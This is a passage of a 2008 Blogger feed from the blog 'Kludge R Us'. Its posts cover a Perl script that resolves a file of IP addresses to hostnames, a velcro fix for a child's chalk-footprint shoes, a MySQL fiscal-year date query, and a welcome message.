src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-4880352767610293985</id><published>2008-06-29T19:31:00.001-05:00</published><updated>2008-06-29T19:33:02.059-05:00</updated><title type='text'>Resolving a list of IP's to Hostname</title><content type='html'>Sometimes, you have a list of IP addresses in a file you want to resolve. Here is a quick Perl snippet that will do just that. This particular script reads in from a text file, but it is trivial to take in other inputs.&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;open(INFILE, "&lt; /tmp/host.txt");&lt;br /&gt;seek(INFILE,0,0);&lt;br /&gt;@inhosts = &lt;INFILE&gt;;&lt;br /&gt;&lt;br /&gt;foreach $inhost (@inhosts){&lt;br /&gt;        $inhost =~ s/\n//;&lt;br /&gt;        $hostname = gethostbyaddr(inet_aton($inhost), AF_INET);&lt;br /&gt;        print "$inhost = $hostname\n";&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-4880352767610293985?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/4880352767610293985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=4880352767610293985' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/4880352767610293985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/4880352767610293985'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/06/resolving-list-of-ips-to-hostname.html' title='Resolving a list of IP&apos;s to Hostname'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-3894403518256215407</id><published>2008-06-28T19:53:00.000-05:00</published><updated>2008-06-28T19:58:21.252-05:00</updated><title type='text'>Uses for velcro straps</title><content type='html'>I bought my daughter a chalk footprint making set. This amounts to large feet that have removable insoles for various types of animal track prints and bags of colored chalk that attach over the foot with a velcro strap. The idea is the child stomps along the sidewalk, leaving a trail of chalk animal tracks. Well, since there is only a single velcro strap over the top of the foot, but the strap has a wide girth, kids feet easily slide out when walking. Needless to say, my daughter was quite frustrated! I remembered a bag of velcro cable retainers I had laying around. A few quick loops and I had fastened an ankle strap to supplement the existing foot strap. No more slipping off, and my daughter can run around without fear of loosing her 'footing'. I now have blue and pink paw chalk paw prints all over my driveway and down my sidewalk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-3894403518256215407?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/3894403518256215407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=3894403518256215407' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/3894403518256215407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/3894403518256215407'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/06/uses-for-velcro-straps.html' title='Uses for velcro straps'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-6454996979070083469</id><published>2008-06-28T19:36:00.000-05:00</published><updated>2008-06-28T19:45:30.487-05:00</updated><title type='text'>SQL selecting past year of data for fiscal reporting</title><content type='html'>Working with dates in programming languages is always a pain. Either you work directly with unixtime, then upconvert, or you wind up transforming strings into date formats, parsing with various date functions, and pulling your hair. Computers are incredible machines, but lack basic human reasoning and intelligence. A simple task such as 'show me everything in this database for the past year, starting with October of last year' can result in a complex operation for the computer, while a human can simply deduce that the current year is 2008, so you want everything from October 2007 through current. &lt;br /&gt;&lt;br /&gt;Here is a simple SQL statement that will select all the data from a tasks table for the past fiscal year where the field start_date is the recorded date we are interested in. Our fiscal year does not match a standard calendar year, so the start of our FY is October. &lt;br /&gt;&lt;br /&gt;select name,start_date from tasks where date_format(start_date,'%Y-%m') &gt;= date_format(date_sub(curdate(), interval 1 year),'%Y-10');&lt;br /&gt;&lt;br /&gt;In a nutshell:&lt;br /&gt;Select name, start_date from the tasks table where:&lt;br /&gt;the year (4 digit format) and month (2 digit format) is equal or greater than October of the past year. Ex: 'select name, start_date from tasks where '2008-06' &gt;= '2007-10';&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-6454996979070083469?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/6454996979070083469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=6454996979070083469' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/6454996979070083469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/6454996979070083469'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/06/sql-selecting-past-year-of-data-for.html' title='SQL selecting past year of data for fiscal reporting'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5180537534218153400.post-9177571875291418434</id><published>2008-06-28T19:29:00.001-05:00</published><updated>2008-06-28T19:32:05.771-05:00</updated><title type='text'>Welcome</title><content type='html'>Welcome to Kludge R Us! Being in the computer industry along with being a geek, you come across many kludges to accomplish a task. Or more likely, you are the one developing kludges to suit the task at hand. In upcoming posts, I will be sharing the various kludges my or my cow-irkers have implemented in both our professional and personal lives. I will also call out kludges experienced in the real world that may normally go unnoticed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5180537534218153400-9177571875291418434?l=kludgerus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kludgerus.blogspot.com/feeds/9177571875291418434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5180537534218153400&amp;postID=9177571875291418434' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/9177571875291418434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5180537534218153400/posts/default/9177571875291418434'/><link rel='alternate' type='text/html' href='http://kludgerus.blogspot.com/2008/06/welcome.html' title='Welcome'/><author><name>Faz</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
